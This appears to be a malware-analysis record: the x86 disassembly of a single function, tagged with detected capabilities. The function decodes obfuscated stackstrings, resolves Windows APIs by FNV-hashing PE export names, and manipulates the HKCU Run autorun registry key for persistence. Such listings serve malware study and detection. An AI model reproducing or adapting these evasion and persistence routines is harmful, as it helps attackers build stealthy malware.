Function at 0x49b870
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1ac], 1
mov byte [ebp - 0x6e], 0x56
mov byte [ebp - 0x6d], 0x52
mov byte [ebp - 0x6c], 0x49
mov byte [ebp - 0x6b], 0x57
mov byte [ebp - 0x6a], 0x5a
mov byte [ebp - 0x69], 0x44
mov byte [ebp - 0x68], 0x55
mov byte [ebp - 0x67], 0x48
mov byte [ebp - 0x66], 0x5f
mov byte [ebp - 0x65], 0x50
mov byte [ebp - 0x64], 0x6c
mov byte [ebp - 0x63], 0x66
mov byte [ebp - 0x62], 0x75
mov byte [ebp - 0x61], 0x72
mov byte [ebp - 0x60], 0x76
mov byte [ebp - 0x5f], 0x72
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x77
mov byte [ebp - 0x5c], 0x5f
mov byte [ebp - 0x5b], 0x5a
mov byte [ebp - 0x5a], 0x6c
mov byte [ebp - 0x59], 0x71
mov byte [ebp - 0x58], 0x67
mov byte [ebp - 0x57], 0x72
mov byte [ebp - 0x56], 0x7a
mov byte [ebp - 0x55], 0x76
mov byte [ebp - 0x54], 0x5f
mov byte [ebp - 0x53], 0x46
mov byte [ebp - 0x52], 0x78
mov byte [ebp - 0x51], 0x75
mov byte [ebp - 0x50], 0x75
mov byte [ebp - 0x4f], 0x68
mov byte [ebp - 0x4e], 0x71
mov byte [ebp - 0x4d], 0x77
mov byte [ebp - 0x4c], 0x59
mov byte [ebp - 0x4b], 0x68
mov byte [ebp - 0x4a], 0x75
mov byte [ebp - 0x49], 0x76
mov byte [ebp - 0x48], 0x6c
mov byte [ebp - 0x47], 0x72
mov byte [ebp - 0x46], 0x71
mov byte [ebp - 0x45], 0x5f
mov byte [ebp - 0x44], 0x55
mov byte [ebp - 0x43], 0x78
mov byte [ebp - 0x42], 0x71
xor ecx, ecx
mov byte [ebp - 0x41], 0
mov al, byte [ebp - 0x6e]
mov al, byte [ebp + ecx - 0x6e]
movsx eax, al
sub eax, 3
mov byte [ebp + ecx - 0x6e], al
inc ecx
cmp ecx, 0x2d
jb 0x49b946
mov ebx, dword [0x4f083c]
test ebx, ebx
jne 0x49b9f1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [ebp - 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49b9d8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x49b9a0
cmp eax, 0x39794115
je 0x49c67e
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp eax, edx
je 0x49b9e9
cmp dword [ecx + 0x18], 0
jne 0x49b980
xor ebx, ebx
mov dword [0x4f083c], ebx
mov eax, dword [0x4f8c14]
test eax, eax
jne 0x49ba8e
test ebx, ebx
je 0x49ba87
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x18], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x49ba87
xor ecx, ecx
mov dword [ebp - 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x49ba87
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 4], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49ba75
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49ba40
cmp edi, 0xe1a6cbf0
je 0x49c689
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
inc ecx
add eax, 4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], eax
cmp ecx, dword [edx + 0x18]
jne 0x49ba30
xor eax, eax
mov dword [0x4f8c14], eax
lea ecx, [ebp - 0x1b0]
push ecx
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
lea ecx, [ebp - 0x6e]
push ecx
push 0x80000001
call eax
xor ecx, ecx
test eax, eax
jne 0x49ce8e
mov ecx, 0x200
call fcn.004baba0
mov edi, 0x2f
mov dword [ebp - 0x14], eax
mov esi, 0x3a
mov edx, 0x3c
mov ecx, 0x62
mov eax, 0x85
mov word [ebp - 0x1a4], ax
mov eax, 0x37
mov word [ebp - 0x1a2], di
mov word [ebp - 0x1a0], si
mov word [ebp - 0x19e], dx
mov word [ebp - 0x19c], cx
mov word [ebp - 0x19a], di
mov word [ebp - 0x198], si
mov word [ebp - 0x196], dx
mov word [ebp - 0x194], cx
mov word [ebp - 0x192], di
mov word [ebp - 0x190], si
mov word [ebp - 0x18e], dx
mov word [ebp - 0x18c], cx
mov word [ebp - 0x18a], di
mov word [ebp - 0x188], si
mov word [ebp - 0x186], dx
mov word [ebp - 0x184], cx
mov word [ebp - 0x182], ax
mov word [ebp - 0x180], di
mov word [ebp - 0x17e], si
mov word [ebp - 0x17c], dx
mov word [ebp - 0x17a], cx
mov word [ebp - 0x178], di
mov word [ebp - 0x176], si
mov word [ebp - 0x174], dx
mov word [ebp - 0x172], cx
mov word [ebp - 0x170], ax
mov word [ebp - 0x16e], di
mov word [ebp - 0x16c], si
mov word [ebp - 0x16a], dx
mov word [ebp - 0x168], cx
mov word [ebp - 0x166], di
mov word [ebp - 0x164], si
mov word [ebp - 0x162], dx
mov word [ebp - 0x160], cx
mov word [ebp - 0x15e], ax
mov word [ebp - 0x15c], di
mov word [ebp - 0x15a], si
mov word [ebp - 0x158], dx
mov word [ebp - 0x156], cx
mov word [ebp - 0x154], di
mov word [ebp - 0x152], si
mov word [ebp - 0x150], dx
mov word [ebp - 0x14e], cx
mov word [ebp - 0x14c], ax
mov eax, 0x87
mov word [ebp - 0x14a], di
mov word [ebp - 0x148], si
mov word [ebp - 0x146], dx
mov word [ebp - 0x144], cx
mov word [ebp - 0x142], di
mov word [ebp - 0x140], si
mov word [ebp - 0x13e], dx
mov word [ebp - 0x13c], cx
mov word [ebp - 0x13a], di
mov word [ebp - 0x138], si
mov word [ebp - 0x136], dx
mov word [ebp - 0x134], cx
mov word [ebp - 0x132], di
mov word [ebp - 0x130], si
mov word [ebp - 0x12e], dx
mov word [ebp - 0x12c], cx
mov word [ebp - 0x12a], di
mov word [ebp - 0x128], si
mov word [ebp - 0x126], dx
mov word [ebp - 0x124], cx
mov word [ebp - 0x122], di
mov word [ebp - 0x120], si
mov word [ebp - 0x11e], dx
mov word [ebp - 0x11c], cx
mov word [ebp - 0x11a], ax
mov eax, 0xa
mov word [ebp - 0x118], ax
movzx eax, word [0x403656]
add eax, 0xa
mov word [ebp - 0x116], ax
movzx eax, word [0x403658]
add eax, 0xa
mov word [ebp - 0x114], ax
movzx eax, word [0x40365a]
add eax, 0xa
mov word [ebp - 0x112], ax
movzx eax, word [0x40365c]
add eax, 0xa
mov word [ebp - 0x110], ax
movzx eax, word [0x40365e]
add eax, 0xa
mov word [ebp - 0x10e], ax
movzx eax, word [0x403660]
add eax, 0xa
mov word [ebp - 0x10c], ax
movzx eax, word [0x403662]
add eax, 0xa
mov word [ebp - 0x10a], ax
movzx eax, word [0x403664]
add eax, 0xa
mov word [ebp - 0x108], ax
movzx eax, word [0x403666]
add eax, 0xa
mov word [ebp - 0x106], ax
movzx eax, word [0x403668]
add eax, 0xa
mov word [ebp - 0x104], ax
movzx eax, word [0x40366a]
add eax, 0xa
mov word [ebp - 0x102], ax
movzx eax, word [0x40366c]
add eax, 0xa
mov word [ebp - 0x100], ax
movzx eax, word [0x40366e]
add eax, 0xa
mov word [ebp - 0xfe], ax
movzx eax, word [0x403670]
add eax, 0xa
mov word [ebp - 0xfc], ax
movzx eax, word [0x403672]
add eax, 0xa
mov word [ebp - 0xfa], ax
movzx eax, word [0x403674]
add eax, 0xa
mov word [ebp - 0xf8], ax
movzx eax, word [0x403676]
add eax, 0xa
mov word [ebp - 0xf6], ax
movzx eax, word [0x403678]
add eax, 0xa
mov word [ebp - 0xf4], ax
movzx eax, word [0x40367a]
add eax, 0xa
mov word [ebp - 0xf2], ax
movzx eax, word [0x40367c]
add eax, 0xa
mov word [ebp - 0xf0], ax
movzx eax, word [0x40367e]
add eax, 0xa
mov word [ebp - 0xee], ax
movzx eax, word [0x403680]
add eax, 0xa
mov word [ebp - 0xec], ax
movzx eax, word [0x403682]
add eax, 0xa
mov word [ebp - 0xea], ax
movzx eax, word [0x403684]
add eax, 0xa
mov word [ebp - 0xe8], ax
movzx eax, word [0x403686]
add eax, 0xa
mov word [ebp - 0xe6], ax
movzx eax, word [0x403688]
add eax, 0xa
mov word [ebp - 0xe4], ax
movzx eax, word [0x40368a]
add eax, 0xa
mov word [ebp - 0xe2], ax
movzx eax, word [0x40368c]
add eax, 0xa
mov word [ebp - 0xe0], ax
movzx eax, word [0x40368e]
add eax, 0xa
mov word [ebp - 0xde], ax
movzx eax, word [0x403690]
add eax, 0xa
mov word [ebp - 0xdc], ax
movzx eax, word [0x403692]
add eax, 0xa
mov word [ebp - 0xda], ax
movzx eax, word [0x403694]
add eax, 0xa
mov word [ebp - 0xd8], ax
movzx eax, word [0x403696]
add eax, 0xa
mov word [ebp - 0xd6], ax
movzx eax, word [0x403698]
add eax, 0xa
mov word [ebp - 0xd4], ax
movzx eax, word [0x40369a]
add eax, 0xa
mov word [ebp - 0xd2], ax
movzx eax, word [0x40369c]
add eax, 0xa
mov word [ebp - 0xd0], ax
movzx eax, word [0x40369e]
add eax, 0xa
mov word [ebp - 0xce], ax
movzx eax, word [0x4036a0]
add eax, 0xa
mov word [ebp - 0xcc], ax
movzx eax, word [0x4036a2]
add eax, 0xa
mov word [ebp - 0xca], ax
movzx eax, word [0x4036a4]
add eax, 0xa
mov word [ebp - 0xc8], ax
movzx eax, word [0x4036a6]
add eax, 0xa
mov word [ebp - 0xc6], ax
movzx eax, word [0x4036a8]
add eax, 0xa
mov word [ebp - 0xc4], ax
movzx eax, word [0x4036aa]
add eax, 0xa
mov word [ebp - 0xc2], ax
movzx eax, word [0x4036ac]
add eax, 0xa
mov word [ebp - 0xc0], ax
movzx eax, word [0x4036ae]
add eax, 0xa
mov word [ebp - 0xbe], ax
movzx eax, word [0x4036b0]
add eax, 0xa
mov word [ebp - 0xbc], ax
movzx eax, word [0x4036b2]
add eax, 0xa
mov word [ebp - 0xba], ax
movzx eax, word [0x4036b4]
add eax, 0xa
mov word [ebp - 0xb8], ax
movzx eax, word [0x4036b6]
add eax, 0xa
mov word [ebp - 0xb6], ax
movzx eax, word [0x4036b8]
add eax, 0xa
mov word [ebp - 0xb4], ax
movzx eax, word [0x4036ba]
add eax, 0xa
mov word [ebp - 0xb2], ax
movzx eax, word [0x4036bc]
add eax, 0xa
mov word [ebp - 0xb0], ax
movzx eax, word [0x4036be]
add eax, 0xa
mov word [ebp - 0xae], ax
movzx eax, word [0x4036c0]
add eax, 0xa
mov word [ebp - 0xac], ax
movzx eax, word [0x4036c2]
add eax, 0xa
mov word [ebp - 0xaa], ax
movzx eax, word [0x4036c4]
add eax, 0xa
mov word [ebp - 0xa8], ax
movzx eax, word [0x4036c6]
add eax, 0xa
mov word [ebp - 0xa6], ax
movzx eax, word [0x4036c8]
add eax, 0xa
mov word [ebp - 0xa4], ax
movzx eax, word [0x4036ca]
add eax, 0xa
mov word [ebp - 0xa2], ax
movzx eax, word [0x4036cc]
add eax, 0xa
mov word [ebp - 0xa0], ax
movzx eax, word [0x4036ce]
add eax, 0xa
mov word [ebp - 0x9e], ax
movzx eax, word [0x4036d0]
add eax, 0xa
mov word [ebp - 0x9c], ax
movzx eax, word [0x4036d2]
add eax, 0xa
mov word [ebp - 0x9a], ax
movzx eax, word [0x4036d4]
add eax, 0xa
mov word [ebp - 0x98], ax
movzx eax, word [0x4036d6]
add eax, 0xa
mov word [ebp - 0x96], ax
movzx eax, word [0x4036d8]
add eax, 0xa
mov word [ebp - 0x94], ax
movzx eax, word [0x4036da]
add eax, 0xa
mov word [ebp - 0x92], ax
movzx eax, word [0x4036dc]
add eax, 0xa
mov word [ebp - 0x90], ax
movzx eax, word [0x4036de]
add eax, 0xa
mov word [ebp - 0x8e], ax
movzx eax, word [0x4036e0]
add eax, 0xa
mov word [ebp - 0x8c], ax
xor eax, eax
mov word [ebp - 0x8a], ax
xor ecx, ecx
mov ax, word [ebp - 0x1a4]
nop dword [eax]
mov ax, word [ebp + ecx*2 - 0x1a4]
movzx eax, ax
add eax, 0xfffffff6
mov word [ebp + ecx*2 - 0x1a4], ax
inc ecx
cmp ecx, 0x8d
jb 0x49c1a0
mov ebx, dword [0x4f07ac]
test ebx, ebx
jne 0x49c254
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49c23b
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x49c203
cmp eax, 0xc0323159
je 0x49c6a7
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp eax, edx
je 0x49c24c
cmp dword [ecx + 0x18], 0
jne 0x49c1e5
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov esi, dword [0x4f07b8]
test esi, esi
jne 0x49c2f3
test ebx, ebx
je 0x49c2eb
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x18], eax
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x49c2eb
xor ecx, ecx
mov dword [ebp - 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x49c2eb
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49c2d9
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49c2a4
cmp edi, 0xaeb3c6d5
je 0x49c6b2
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x49c294
xor esi, esi
mov dword [0x4f07b8], esi
movzx eax, byte [0x4e250f]
push eax
movzx eax, byte [0x4e250e]
push eax
movzx eax, byte [0x4e250d]
movzx ecx, byte [0x4e2508]
push eax
movzx eax, byte [0x4e2517]
push eax
movzx eax, byte [0x4e250b]
movzx edx, byte [0x4e2505]
push eax
movzx eax, byte [0x4e2509]
push ecx
push eax
movzx eax, byte [0x4e2516]
push ecx
push eax
movzx eax, byte [0x4e2506]
push eax
movzx eax, byte [0x4e2503]
push edx
push edx
push eax
movzx eax, byte [str._Xm_]
push eax
movzx eax, byte [0x4e2501]
push eax
movzx eax, byte [0x4e2511]
push eax
lea eax, [ebp - 0x1a4]
push eax
push dword [ebp - 0x14]
call esi
add esp, 0x48
cmp dword [ebp - 0x10], 0
je 0x49c71e
mov ebx, dword [0x4f083c]
test ebx, ebx
jne 0x49c413
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49c3fa
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49c3c2
cmp eax, 0x39794115
je 0x49c6d0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp eax, edx
je 0x49c40b
cmp dword [ecx + 0x18], 0
jne 0x49c3a4
xor ebx, ebx
mov dword [0x4f083c], ebx
mov eax, dword [0x4f8be8]
test eax, eax
jne 0x49c4ae
test ebx, ebx
je 0x49c4a7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x49c4a7
xor ecx, ecx
mov dword [ebp - 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x49c4a7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
nop dword [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49c495
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49c460
cmp edi, 0x5f017c9c
je 0x49c6db
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x49c450
xor eax, eax
mov dword [0x4f8be8], eax
push dword [ebp - 0x14]
push dword [ebp - 0x28]
call eax
mov byte [ebp - 0x40], 0x66
xor ecx, ecx
mov byte [ebp - 0x3f], 0x36
mov byte [ebp - 0x3e], 0x68
mov byte [ebp - 0x3d], 0x2b
mov byte [ebp - 0x3c], 0x5d
mov byte [ebp - 0x3b], 0x70
mov byte [ebp - 0x3a], 0x78
mov byte [ebp - 0x39], 0x7a
mov byte [ebp - 0x38], 0x81
mov byte [ebp - 0x37], 0x70
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x2b
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], pe_nt_image_headers32
mov byte [ebp - 0x32], 0x7f
mov byte [ebp - 0x31], 0x7a
mov byte [ebp - 0x30], 0x7d
mov byte [ebp - 0x2f], pe_nt_image_headers32
mov byte [ebp - 0x2e], 0x79
mov byte [ebp - 0x2d], 0x2b
mov byte [ebp - 0x2c], 0x76
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x84
mov byte [ebp - 0x29], 0
mov al, byte [ebp - 0x40]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x40]
movsx eax, al
sub eax, 0xb
mov byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 0x17
jb 0x49c520
xor edx, edx
lea ecx, [ebp - 0x40]
call fcn.004e09d0
mov ebx, dword [0x4f083c]
test ebx, ebx
jne 0x49c5d3
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49c5ba
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49c582
cmp eax, 0x39794115
je 0x49c6f9
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp eax, edx
je 0x49c5cb
cmp dword [ecx + 0x18], 0
jne 0x49c564
xor ebx, ebx
mov dword [0x4f083c], ebx
mov eax, dword [0x4f8bf0]
test eax, eax
jne 0x49c66d
test ebx, ebx
je 0x49c666
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x49c666
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp dword [eax + 0x18], ecx
je 0x49c666
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 0xc]
add eax, ebx
mov dword [ebp - 8], eax
nop
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x49c654
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x49c621
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
cmp edi, 0x6b36a56a
je 0x49c704
mov eax, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x49c610
xor eax, eax
mov dword [0x4f8bf0], eax
push dword [ebp - 0x28]
call eax
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x49b9eb
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x49ba89
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x49c24e
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov esi, dword [ecx + eax*4]
add esi, ebx
jmp 0x49c2ed
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x49c40d
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x49c4a9
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x49c5cd
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x49c668
mov eax, dword fs:[0x30]
mov ecx, 0x212
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1a8], 0x104
call fcn.004baba0
mov dword [ebp - 0xc], eax
mov ecx, 0x36
mov dword [ebp - 0x88], 0x14
mov eax, 0x31
mov word [ebp - 0x84], cx
mov word [ebp - 0x82], ax
mov eax, 0x67
mov word [ebp - 0x80], ax
mov eax, 0x14
mov word [ebp - 0x7e], cx
mov word [ebp - 0x7c], ax
movzx eax, word [0x403662]
xor eax, 0x14
mov word [ebp - 0x7a], ax
movzx eax, word [0x403664]
xor eax, 0x14
mov word [ebp - 0x78], ax
movzx eax, word [0x403666]
xor eax, 0x14
mov word [ebp - 0x76], ax
movzx eax, word [0x403668]
xor eax, 0x14
mov word [ebp - 0x74], ax
xor eax, eax
mov word [ebp - 0x72], ax
xor edx, edx
mov ax, word [ebp - 0x84]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x84]
movzx ecx, ax
movzx eax, word [ebp - 0x88]
xor ecx, eax
mov word [ebp + edx*2 - 0x84], cx
inc edx
cmp edx, 9
jb 0x49c7c0
mov ebx, dword [0x4f07ac]
xor eax, eax
mov word [ebp - 0x72], ax
test ebx, ebx
jne 0x49c881
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49c868
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49c830
cmp eax, 0xc0323159
je 0x49ce97
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49c879
cmp dword [ecx + 0x18], 0
jne 0x49c810
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov ecx, dword [0x4f07b8]
test ecx, ecx
jne 0x49c920
test ebx, ebx
je 0x49c918
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x20], eax
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49c91a
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49c918
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x10], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49c906
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49c8d1
mov ecx, dword [ebp - 4]
cmp edi, 0xaeb3c6d5
je 0x49cea2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49c8c1
xor ecx, ecx
mov dword [0x4f07b8], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10]
push dword [eax + 0x3c]
lea eax, [ebp - 0x84]
push eax
push dword [ebp - 0xc]
call ecx
mov ebx, dword [0x4f083c]
add esp, 0xc
test ebx, ebx
jne 0x49c9d1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49c9b8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x49c980
cmp eax, 0x39794115
je 0x49cebf
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49c9c9
cmp dword [ecx + 0x18], 0
jne 0x49c960
xor ebx, ebx
mov dword [0x4f083c], ebx
mov eax, dword [0x4f8bfc]
test eax, eax
jne 0x49ca6e
test ebx, ebx
je 0x49ca67
